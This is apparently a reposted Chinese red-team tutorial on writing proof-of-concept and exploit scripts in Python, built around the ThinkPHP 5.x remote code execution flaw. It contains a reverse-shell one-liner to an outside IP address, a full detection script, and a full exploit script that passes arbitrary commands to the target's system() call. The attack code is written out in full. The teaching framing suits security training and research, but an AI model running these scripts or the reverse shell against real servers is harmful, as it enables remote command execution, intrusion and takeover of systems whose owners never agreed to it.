红队技法 | POC&EXP开发-基础篇
2023-4-14 17:31:37 Author: 中尔安全实验室(查看原文) 阅读量:35 收藏

 引   言 

POC和EXP都是安全领域中常用的术语,它们的意义如下:

  • POC(Proof of Concept)是指漏洞验证代码,主要用于验证某个漏洞是否存在。POC通常是一个短小的代码片段,其目的是演示漏洞是如何被利用的,同时也可用于向厂商或其他人证明该漏洞的存在。POC的编写可以帮助安全研究人员更好地理解漏洞的原理和利用方式,同时也可以帮助软件开发人员更快地修复漏洞。

  • EXP(Exploit)是指利用漏洞的代码,可以通过漏洞实现某种攻击行为。EXP通常是一段较为复杂的代码,其目的是利用漏洞实现攻击,如远程执行代码、提权等。安全研究人员和黑客通常会编写EXP来验证漏洞的可利用性,并可能将其用于攻击目标系统。

因此,POC和EXP的编写都是安全研究人员非常重要的工作,它们有助于发现漏洞、理解漏洞原理、验证漏洞可利用性,并促进漏洞的修复。

01 POC和EXP的区别 

一句话概述:POC是漏洞验证,EXP是漏洞利用。

他们两个的本质区别是使用的 payload 不同,比如我一个远程命令执行的漏洞 ,当我的payload是id/whoami这样的命令时,那么我整个脚本或者工具 , 就是poc,因为我只是让他执行一下简单的系统命令来判断目标是否存在这样的漏洞, 如果我的payload是一串反弹shell的系统命令,如/bin/bash -i >& /dev/tcp/192.168.1.1/5656 0>&1 , 那么我整个工具就是一个exp , 可能这个poc和exp其他的代码都一模一样,只有要执行的命令不同,也就是 payload 不同,决定了这个脚本是poc还是exp。

02 前置知识

本文中的代码均使用Python实现,在开始之前需要了解一些Python的基本语法,以及在写poc/exp时引用到的内置或第三方库。

以下是一些常用的库,具体使用哪些库取决于需求和想要实现的功能。

1

requests库:用于发送HTTP请求和处理HTTP响应。

2

urllib库:Python内置的HTTP客户端库,可以用于发送HTTP请求和处理HTTP响应。

3

socket库:Python内置的套接字库,可用于在网络上建立连接并发送/接收数据。

4

paramiko库:用于SSH连接和执行命令的库。

5

ftplib库:用于FTP连接和文件传输的库。

6

subprocess库:用于在操作系统上运行外部程序并捕获输出。

7

logging库:用于记录程序运行时的日志。

8

argparse库:用于解析命令行参数。

9

json库:用于处理JSON格式的数据。

10

re库:用于处理正则表达式。

本文涉及到的代码是使用requests和argparse库实现的。以下对这两个库做一个简单的介绍:

2.1 requests库介绍

requests是一个Python第三方库,用于发送HTTP请求和处理HTTP响应。它是一种简单、易于使用的HTTP库,可以轻松地发送各种HTTP请求,如GET、POST、PUT、DELETE等。

requests库提供了简单易用的API,可以轻松地设置请求头、请求参数、请求体等内容,还支持cookie和session管理、代理、SSL证书验证等功能。

以下是一个简单的requests库的示例:

import requests response = requests.get('https://www.example.com') print(response.text)

在这个示例中,我们使用requests库发送了一个GET请求,并打印了响应的文本内容。

requests库的优点包括:

1

简单易用:requests库提供了简单易用的API,可以轻松地发送各种HTTP请求,而不需要编写复杂的代码。

2

功能丰富:requests库支持cookie和session管理、代理、SSL证书验证等功能,可以满足各种HTTP请求的需求。

3

性能高效:requests库使用的底层库是urllib3,具有较高的性能和稳定性。

总之,requests是一个简单易用、功能丰富、性能高效的HTTP库,适合各种HTTP请求的场景。

2.1.1 Copy As Requests安装使用

BurpSuite插件商店中的"Copy As Python Requests"。

以下以"Thinkphp5.x  RCE"漏洞 为例。

payload:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

拦截数据包-Extensions-Copy As Python-Requests-Copy as requests

粘贴到pycharm中

接着只需要对结果的一些判定,就完成了一个简易poc了。

通过判断"PHP Version"关键字是否出现在回复包中来验证漏洞的存在。

没有"headers"字段并不影响结果,为了代码看起来更加简洁一点可以选择删掉。

2.2 argparse库介绍

argsparse是python的命令行解析的标准模块,内置于python,不需要安装。这个库可以让我们直接在命令行中就可以向程序中传入参数并让程序运行。

2.2.1 基础

参考链接:https://docs.python.org/zh-cn/3/howto/argparse.html

让我们从一个简单到(几乎)什么也做不了的例子开始:

import argparseparser = argparse.ArgumentParser()parser.parse_args()

程序运行情况如下:

1

在没有任何选项的情况下运行脚本不会在标准输出显示任何内容。这没有什么用处。

2

第二行代码开始展现出 argparse 模块的作用。我们几乎什么也没有做,但已经得到一条很好的帮助信息。

3

--help 选项,也可缩写为 -h,是唯一一个可以直接使用的选项(即不需要指定该选项的内容)。指定任何内容都会导致错误。即便如此,我们也能直接得到一条有用的用法信息。

2.2.2 传入参数

计算一个数的平方:

import argparseparser = argparse.ArgumentParser()parser.add_argument("square", help="display a square of a given number",type=int)# 因为要计算数字的平方,所以必须加上“type=int”args = parser.parse_args()print(args.square**2)

2.2.3 位置参数 

import argparseparser = argparse.ArgumentParser(description='姓名')parser.add_argument('param1', type=str,help='姓')parser.add_argument('param2', type=str,help='名')args = parser.parse_args()#打印姓名print(args.param1+args.param2)

将第三行和第四行的位置进行互换后:

2.2.4 可选参数以及短选项

import argparseparser = argparse.ArgumentParser()parser.add_argument('-u', '--url', help='tatget url')parser.add_argument('-c', '--cmd', help='exploit')args = parser.parse_args()
if args.url and args.cmd:    print(f"正在对{args.url}执行{args.cmd}命令")

03 编写POC

import argparseimport textwrapimport requestsimport sysrequests.packages.urllib3.disable_warnings()
def main(url):    # 1.发请求    full_url = f"{url}/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"    try:        # 设置了禁止跳转和延时        response = requests.get(full_url, verify=False, timeout=5, allow_redirects=False)    except Exception:        print(f"[-]{url} 请求失败")        sys.exit(1)    # 2.判断是否存在漏洞    if response.status_code == 200 and "PHP Extension Build" in response.text:        print(f"[+]{url} 存在远程代码执行漏洞")    else:        print(f"[-]{url} 不存在远程代码执行漏洞")
def banner():    banner = """ ____  ____   ___      ____   __    ___ (_  _)(  _ \ / __) ___(  _ \ /  \  / __)  )(   ) __/(___ \(___)) __/(  O )( (__ (__) (__)  (____/    (__)   \__/  \___)                            author:mlxwl    """    print(banner)
if __name__ == '__main__':    banner()    # 使用argparse去解析命令行传来的参数    parser = argparse.ArgumentParser(description="thinkphp5 rce poc",                                     formatter_class=argparse.RawDescriptionHelpFormatter,                                     epilog=textwrap.dedent('''example:\n\tpython test.py -u http://192.168.1.108'''))    # 添加参数    parser.add_argument("-u", "--url", dest="url", type=str, help="input a url")    # 把参数的值解析到对象中    args = parser.parse_args()
   main(args.url)

运行效果:

04 编写EXP

EXP的编写思路也是一样的。

import argparseimport textwrapimport requestsimport sysrequests.packages.urllib3.disable_warnings()
def main(url, cmd):    # 1.发请求    full_url = f"{url}/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={cmd}"    try:        # 设置了禁止跳转和延时        response = requests.get(full_url, verify=False, timeout=5, allow_redirects=False)    except Exception:        print(f"[-]{url} 请求失败")        sys.exit(1)    # 2.判断是否存在漏洞    if response.status_code == 200 and response.text != "":        print(f"[+]{url} 存在远程代码执行漏洞")        print(f"[+]命令执行结果为{response.text}")    else:        print(f"[-]{url} 不存在远程代码执行漏洞或您输入的命令无回显")
def banner():    banner = """ ____  ____   ___        ____  _  _  ____ (_  _)(  _ \ / __) ___  (  __)( \/ )(  _ \\  )(   ) __/(___ \(___)  ) _)  )  (  ) __/ (__) (__)  (____/      (____)(_/\_)(__)                                                      author:mlxwl    """    print(banner)
if __name__ == '__main__':    banner()    # 使用argparse去解析命令行传来的参数    parser = argparse.ArgumentParser(description="thinkphp5 rce exp",                                     formatter_class=argparse.RawDescriptionHelpFormatter,                                     epilog=textwrap.dedent('''example:\n\tpython test.py -u http://192.168.1.108 -c id'''))    # 添加参数    parser.add_argument("-u", "--url", dest="url", type=str, help="input a url")    parser.add_argument("-c", "--cmd", dest="cmd", type=str, help="input cmd")    # 把参数的值解析到对象中    args = parser.parse_args()
   main(args.url, args.cmd)

当前目录位置:

弹出计算器:

05 Q&A

Q:网上已经有了公开的POC或者EXP,为什么还重复造轮子?

A:即使已经有公开的POC脚本,重复造轮子仍然可能有意义,特别是对于想要深入研究和理解漏洞的人来说,以下是几点原因:

1

检验公开POC的有效性:公开的POC脚本可能存在漏洞或错误,因此对其进行复现和测试可能有助于验证其有效性。这有助于保证安全漏洞得到正确的修复。

2

研究和理解漏洞原理:通过重复造轮子,可以深入研究和理解漏洞的原理和机制,从而提高自己的技能和知识。

3

定制化需求:有时候公开的POC脚本可能无法满足特定的需求,因此需要编写定制化的脚本来满足特定的要求。

4

多个POC的比较和优化:通过编写自己的POC脚本,可以与公开的POC进行比较和优化,从而找出更好的方法来利用漏洞。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDYzNDM2NQ==&mid=2247484606&idx=1&sn=61e00968387fe3c0adddf9630fb3244b&chksm=ce67102cf910993ae853d636bb18e7df871c7d349a2cde524a2cb9adf3271c01a03b7b751e22#rd
如有侵权请联系:admin#unsafe.sh